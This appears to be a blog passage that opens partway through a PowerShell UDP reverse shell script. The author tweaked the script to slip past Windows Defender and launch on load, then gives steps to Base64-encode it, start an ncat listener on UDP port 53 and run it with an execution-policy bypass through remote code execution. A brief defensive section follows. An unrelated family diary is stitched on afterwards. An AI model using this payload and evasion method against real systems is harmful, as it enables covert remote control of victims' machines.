    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS (' + [System.Diagnostics.Process]::GetCurrentProcess().Id + ') ' + (Get-Location).Path + '>')
        $receivebytes = $client.Receive([ref]$endpoint)
        $returndata = ([text.encoding]::ASCII).GetString($receivebytes)
        $result = (Invoke-Expression -Command $returndata 2>&1 | Out-String )

        $sendback = $result +  'PS (' + [System.Diagnostics.Process]::GetCurrentProcess().Id + ') ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $sendback2 = $sendback + $x

        #Send results back
        $sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2)
Invoke-PowerShellUdp -Reverse -IPAddress <YOUR_IP> -Port 53;

Note 1: if you use the code from the git repository it will be caught by Windows Defender because of the comment at the top. So I have used the above successfully and confirmed it worked on 08/09/2022.

Note 2: The last line (starting “Invoke-PowerShellUdp ..” was added by me to actually trigger execution of a UDP reverse shell when the script is loaded. In my situation we had RCE in an application but did not want to write the payload to disk if we could avoid it. By making sure the shell established as it was loaded was essential. You must set the IP address to your ncat listener’s IP address. Do not use a DNS name.

Note 3: Due to the unreliability of UDP shells I have added the process ID to the shell prompt inside round brackets. You can establish another shell when a connection dies but remember to kill previous processes or you are going to be noisier than you intended.

I saved that code into a file called “Invoke-PowerShellUdp.ps1” onto my PC. Then used the command below to Base64 encode that file properly:

$Base64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes([System.IO.File]::ReadAllText("C:\FULL_PATH_TO\Invoke-PowerShellUdp.ps1")))

Note: other ways to Base64 encode may work too. But I definitely know that this bit of PowerShell is compatible with the next step.

On your server establish a netcat listener on UDP port 53:

ncat -l -v -u -p 53

Via your RCE ensure that this command is run:

powershell.exe -ExecutionPolicy Bypass -EncodedCommand <your_base64>

This will establish your shell over UDP port 53.

Defending against this

Firewall rules to prevent UDP traffic outbound over port 53. Your internal name servers need to do this but a workstation or laptop does not need that ability.

Traffic inspection would also be able to detect obvious unencrypted reverse shells if they were doing so.

Anti-Virus will eventually catch the exact payload as used in this blog so it is always worth having a solution enabled.

Captain’s Log: August 2022

first weekend

On the Saturday we bought new school shoes and attempted to visit relatives. I got pretty close but our old adage that one outside activity is clearly enough for our kids held true. They started to go pretty crazy in the car on the way over to the second activity so I had to stick true to the promise that if they did we would go home. Bit sucky. But I do want consistency in the consequences to actions.

On the Sunday we relaxed at home. We watched the Lightyear and the kids thoroughly enjoyed it.

second weekend

We drove to the East coast and chilled out. This is my second “long” drive in a month. I enjoyed it. The kids were way better at not screaming and I was fully relaxed. I had a date night out with my partner at a lovely Thai restaurant while we were there. This was a rather excellent long weekend all in.

third weekend

My partner was ill. We chilled out on Saturday then I took the kids swimming on Sunday. It speaks volumes as to how much $eldest has matured that I even “risked” this. Until now they would have been too unruly to take to a swimming pool without an adult dedicated to watching each of them. Some much needed water confidence was gained and actually it was pretty fun!

Weeknight Joy

This week I started a new evening course on guitar maintenance. It was fun and I am learning how to fix and setup my guitars. Nice to get out of the house and learn something. This is actually a marker that I can now do things of an evening. It is only possible because $eldest has matured enough to not be a two person job 24/7.

Unfortunately the “back to school lurgy” arrived so I had to cancel plans to meetup with a friend on Thursday. But again. It is actually great that I had made plans

fourth Weekend

The “back to school lurgy” arrived and so me and my partner were out of the game for the weekend. The kids coped well with being cooped up. They mostly played nicely and took advantage of the garden. I could imagine this would have been much worse without that safe space for them to roam in. So I am glad for that.

short bits

Audio Book – it has been a while since I had the head space to listen to a book. With my kid having anger management issues I thought I might give Never Get Angry Again a go. In the most part this was reiterating things I know but in a nice format. Then there was a weird chapter where it endlessly spoke about how we should do things to please god and that god loves us etc etc. It really stuck out like a sore thumb and then ironically it made me a bit angry!